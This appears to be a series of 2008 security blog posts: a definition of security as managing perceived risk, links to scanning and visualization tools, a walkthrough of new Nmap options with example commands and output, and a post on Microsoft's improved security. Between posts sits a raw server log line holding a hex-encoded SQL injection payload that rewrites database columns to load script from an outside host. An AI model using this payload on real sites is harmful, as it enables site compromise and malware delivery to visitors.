Very intriguing.

There is much debate in the information security world regarding the proper definition of security. I have seen dozens of definitions over the years, but I feel the following option most completely and succinctly captures it.

The process of maintaining an acceptable level of perceived risk.

There are a few things I like about this definition.

1. Process. i.e. it doesn’t end.
2. Acceptable. This alludes to the fact that the organization’s upper management decides—based on the entity’s goals as a whole—how much risk to take on. The crucial piece here is that this isn’t for security professionals to decide.
3. Perceived. In short, “you don’t know what you don’t know”. And this is where security professionals come in. Their entire job is to ensure that management is making informed decisions.

Risk

As we all know, it’s not a good idea to use words with disputed definitions as part of another definition. And since risk is one such word, I’ll clarify briefly how I define risk.

In general, I prefer NIST’s description from NIST Publication SP 800-30:

Risk is a function of the likelihood of a given threat-source’s exercising a particular potential vulnerability, and the resulting impact of that adverse event on the organization. To determine the likelihood of a future adverse event, threats to an IT system must be analyzed in conjunction with the potential vulnerabilities and the controls in place for the IT system.

This reveals a few primary components: likelihood, threat-source, vulnerability, and impact. The word “function” used in the definition is pivotal; it reveals that if any of the values increase or decrease, the total risk does as well. I also prefer to add asset value to the equation, and this is a popular choice.

Ultimately, however, the definition of risk can be reduced to a much more usable, less academic form, and this is the way you are going to be most successful communicating it with those who are not security professionals.

A risk is a chance of something bad happening.

Too simple? Not really. It’s instantly understandable to virtually everyone, but at the same time it does not contradict the more complex definitions.

So when should you use one definition vs. the other? In general, use the simple version. Getting entangled in the infinite number of ways risk can be calculated is something to avoid. It drains time and rarely accomplishes anything when broken down much farther than is described above.

Summary

So, written out (i.e. without the word “risk”) we arrive at:

Security is the process of maintaining, based on what we know, an acceptable level of likelihood that something bad will happen to the organization.

…and once again, in it’s more succinct and elegant form:

Security is the process of maintaining an acceptable level of perceived risk.

Links

[ Security | wikipedia.org ]
[ NIST Publication 800-30 | nist.org ]
[ Risk, Threat and Vulnerability | taosecurity.blogspot.com ]

Here’s a link to RSnake’s Fierce Domain Scanner. Here’s what it does, from the site:

Fierce domain scan was born out of personal frustration after performing a web application security audit. It is traditionally very difficult to discover large swaths of a corporate network that is non-contiguous. It’s terribly easy to run a scanner against an IP range, but if the IP ranges are nowhere near one another you can miss huge chunks of networks.

(snip)

Fierce is a reconnaissance tool. Fierce is a PERL script that quickly scans domains (usually in just a few minutes, assuming no network lag) using several tactics.

I coded my own way of doing this when I was doing assessments for a living. But mine ended up being like three separate tools (hostfind, gscour, and a zone transfer tool). I never did integrate them all the way, though, and I would have used this one instead if I had known about it.

If you do assessments and you need to determine targets on a given domain, check it out.

Links

[ Fierce Domain Scanner | ha.ckers.org ]

Here’s a quick link to a list of really sweet bookmark tools, created by RSnake. I had a chance to hang with him in at Blackhat/DEFCON and he’s a pretty cool dude in addition to being sick at webappsec.

[ RSnake's Security Bookmarks | ha.ckers.org ]

He was a fan of another Fyodor—Fyodor Dostoevsky—and used his first name around the Internet early on. The name stuck, and now he’s known as Fyodor.

And Google confirms that he’s doing pretty well in the battle for the first name “fyodor”.

This is one of the coolest things I came across at Blackhat/DEFCON. DAVIX is a collection of security visualization tools. It allows you to do things like build maps from pcap files, map protocol use in real time across a network, etc.

Here are some examples of the type of stuff the project produces.

[ Graph Exchange | secviz.org ]

Trust me, it’s sick. Go get a copy of it. And be sure to check out the SecViz site in general. Very innovative stuff.

Links

[ The SecViz Site | secviz.org ]
[ The DAVIX LiveCD | secviz.org ]

At Fyodor’s talk last week at Blackhat he talked about the research he’s been doing, and the ways that research has helped him to improve Nmap. I was lucky enough to attend, and even got to chat with him briefly and get a signed copy of his new book.

Anyway, after receiving numerous complaints over the years regarding performance, he did some colossal scans of the Internet in order to see how Nmap handled extremely large address ranges. What follows is a collection of the most interesting features he added, and information he learned, while doing his research.

Setup

First off, in case you want to test out some of these features as well, you’ll need to get the version of Nmap that he was using during this presentation. The current, stable branch does not have much of this functionality. You can get it via SVN like so:

svn co --username guest --password "" svn://svn.insecure.org/nmap-exp/bhdc08/

Then build it the standard way:

1. ./configure
2. make
3. make install

The --top-ports Scan Option

One of Fyodor’s main focuses was improving Nmap’s speed through improved efficiency. One of the best ways to do this is to allow for scans of fewer ports, but this requires that you choose those ports carefully so as to miss as little as possible. So what he did, through trial and error and tons of scans, was figure out the most frequently open ports on the Internet.

Here they are for each protocol:

TCP

1. 80
2. 23
3. 22
4. 443
5. 3389
6. 445
7. 139
8. 21
9. 135
10. 25

UDP

1. 137
2. 161
3. 1434
4. 123
5. 138
6. 445
7. 135
8. 67
9. 139
10. 53

Ok, so now that we know what the top 10 ports are, wouldn’t it be cool to be able to scan based on them? And what if we wanted to scan the top 50? Or the top 100?

Fyodor has built this in with the --top-ports option. It’s wicked nice, and you invoke it like this:

nmap –top-ports 100 $target

And of course, 100 is just an arbitrary number, so you could just as easily do this:

nmap –top-ports 3000 $target

As you increase this number you obviously gain more and more accuracy, but because the ports are organized according to the most commonly found on the Internet, you can scan relatively few and still have good chances of finding everything open.

Stats from his presentation on TCP port efficiency using --top-ports:

–top-ports 10: 48%
–top-ports 50: 65%
–top-ports 100: 73%
–top-ports 250: 83%
–top-ports 500: 89%
–top-ports 1000: 93%
–top-ports 2000: 96%
–top-ports 3764: 100%

This means for just curiosity scans I can go with --top-ports 1000 and get roughly 93% accuracy in a fraction of the time.

Do like.

Rate Limiting

Another feature that he’s been wanting to add for a while is rate limiting by packet count. He actually found a need for this when he was doing his research. He started some of his first scans and got a call from his ISP. They thought he’d been hacked.

He got it worked out, but he decided it was a good idea to be able to set a threshold for how hard you hit the network you’re scanning from. And here it is:

nmap –max-rate 1000 $target
nmap –min-rate 500 $target

The --reason Option

This thing is awesome; when it shows you that a port was open or filtered or whatever—it shows you the reason it thought so.

Interesting ports on scanme.nmap.org (64.13.134.52):
Not shown: 994 filtered ports
Reason: 994 no-responses
PORT    STATE  SERVICE REASON
22/tcp  open   ssh     syn-ack
25/tcp  closed smtp    reset
53/tcp  open   domain  syn-ack
70/tcp  closed gopher  reset
80/tcp  open   http    syn-ack
113/tcp closed auth    reset

Nmap done: 1 IP address (1 host up) scanned in 4.21 seconds

Packet Trace with --packet-trace

This will show you what the packets look like that you send and receive, with a handy little “sent” and “received” marker.

nmap –packet-trace -p80 dmiessler.com

SENT (0.1160s) TCP 204.11.219.126:40117 > 204.11.219.126:80 S ttl=40
     id=52313 iplen=44  seq=2829670227 win=1024 
RCVD (0.1160s) TCP 204.11.219.126:40117 > 204.11.219.126:80 S ttl=40
     id=52313 iplen=44  seq=2829670227 win=1024 
RCVD (0.1160s) TCP 204.11.219.126:80 > 204.11.219.126:40117 SA ttl=64
     id=0 iplen=44  seq=2909000595 win=32792 ack=2829670228 
Interesting ports on dmiessler.com (204.11.219.126):
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

Traceroute

You can now add the -traceroute option to your scan and Nmap will pick a port and traceroute to the target host over that port.

Nmap’s GUI (Zenmap) Now Creates Maps!

You heard me right. The latest version of Zenmap (bhdc08) now actually has a tab for creating maps like Cheops. The one above is an actual old Cheops screenshot because I don’t have X installed on the box running bhdc08, but you get the idea.

Ndiff

Ndiff is a sick little tool that compares Nmap XML files and produces XML or YAML formatted difference files. In other words, you can regularly scan your networks with Nmap and use Ndiff to not only tell you when new boxes pop up on (or drop off of) the network, but it’ll also tell you when new services are added or deleted to the boxes you already know about.

Brutally nice.

svn://svn.insecure.org/nmapexp/ndiff/ (same credentials as above)

Ncat

An über version of Hobbit’s classic. Supports SSL, IPv6, connection brokering, proxies, shell execution, and tons of other stuff.

svn://svn.insecure.org/ncat (login: guest/guest)

The Nmap Scripting Engine

If you’re not using this yet, you should probably get that way. Remember, it’s not just port scanning; you can actually check for vulnerabilities using this. Here’s one from his presentation that checks for DNS issues:

nmap -PN -v -sU -p53 -T4 –script=dns-test-open-recursion,dns-safe-recursion-port.nse,dns-safe-recursion-txid.nse dns-1.blackhat.com archimedes.shmoo.com

Fin

I’ll be adding these options, as well as a ton of additional new functionality, to my Nmap tutorial/primer located at http://dmiessler.com/study/nmap/.

But no matter what you do, go get a copy of Fyodor’s new book. It’s a must.:

Links

[ Nmap's Home Page | insecure.org ]
[ Fyodor's Blackhat Presentation | insecure.org ]
[ My Nmap Tutorial / Primer | dmiessler.com ]
[ My Study Page | dmiessler.com ]

75.152.146.229 - - [17/Aug/2008:00:38:12 -0400] "GET /blog/2004/09?;DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S); HTTP/1.1" 200 31124

Sell crazy somewhere else; we’re all stocked up here — Jack Nicholson

A lingering feeling that I’ve had for roughly the last year was solidified for me last week at Blackhat/DEFCON. Making fun of Microsoft’s security program is now passe. In fact, it’s so far gone that the opposite is now en vogue. And for good reason.

I’ve been doing a lot of work on risk assessment, threat modeling, and application security in the last few months, and in all my research travels I’ve been hitting the same thing over and over.

The only company even attempting to do $foo_security_thing correctly on a mass scale is Microsoft…

I keep hearing this. Over and over. Everywhere. This isn’t to say that nobody else is doing security well, but I would say that among the big companies that are security-aware they’re probably still significantly behind Microsoft.

A significant case in point can be found in Internet Explorer 8’s new XSS filter. According to Rsnake, who should need no introduction with my readers, the filter is pretty damn good. This may seem like a small thing to many, but when combined with everything else, e.g. hardcore coding standards, inviting security researchers to tear up their apps, etc., a clear picture is being drawn.

So the idea is this: blindly making fun of Microsoft’s security now betrays a lack of current security knowledge rather than l33tness. Interesting times we live in.:

Links

[ IE 8's XSS Filter | microsoft.com ]